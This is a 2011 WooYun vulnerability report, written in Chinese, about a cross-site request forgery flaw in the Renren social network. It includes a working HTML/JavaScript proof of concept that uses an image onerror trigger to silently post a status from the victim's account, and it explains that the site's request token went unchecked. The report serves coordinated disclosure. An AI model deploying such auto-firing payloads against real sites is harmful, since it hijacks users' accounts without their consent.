当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03105

漏洞标题:人人网csrf

相关厂商:人人网

漏洞作者: androidhacker

提交时间:2011-10-24 21:53

修复时间:2011-11-23 21:53

公开时间:2011-11-23 21:53

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-10-24: 细节已通知厂商并且等待厂商处理中
2011-10-26: 厂商已经确认,细节仅向厂商公开
2011-11-05: 细节向核心白帽子及相关领域专家公开
2011-11-15: 细节向普通白帽子公开
2011-11-25: 细节向实习白帽子公开
2011-11-23: 细节向公众公开

简要描述:

第三波了,能不能给个小礼物呢:-)

详细说明:

把UID替换即可

<script>
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.withCredentials = "true";
xmlHttp.send(data);
}
function publish(){
url = 'http://shell.renren.com/UID/status';
data = 'content=%u6C42%u79CD%u5B50%uFF01&isAtHome=1&channel=renren';
post(url,data,true);
}
function main(){
try{
publish();
}
catch(e)
{
alert(e);
}

}
</script>
<img src="#" onerror="main()" width="1" height="1" border="0">

漏洞证明:

表单中存在一个requestToken
但奇怪的是requestToken没有任何作用

修复方案:

requestToken生效就可以了

版权声明:转载请注明来源 androidhacker@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2011-10-26 18:43

厂商回复:

3q

最新状态:

暂无


漏洞评价:

评论

  1. 2011-10-24 21:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    给人人妹子都可以了

  2. 2011-10-24 22:10 | androidhacker ( 实习白帽子 | Rank:53 漏洞数:10 | 这个人很懒,什么都没留下)

    好啊好啊,求妹子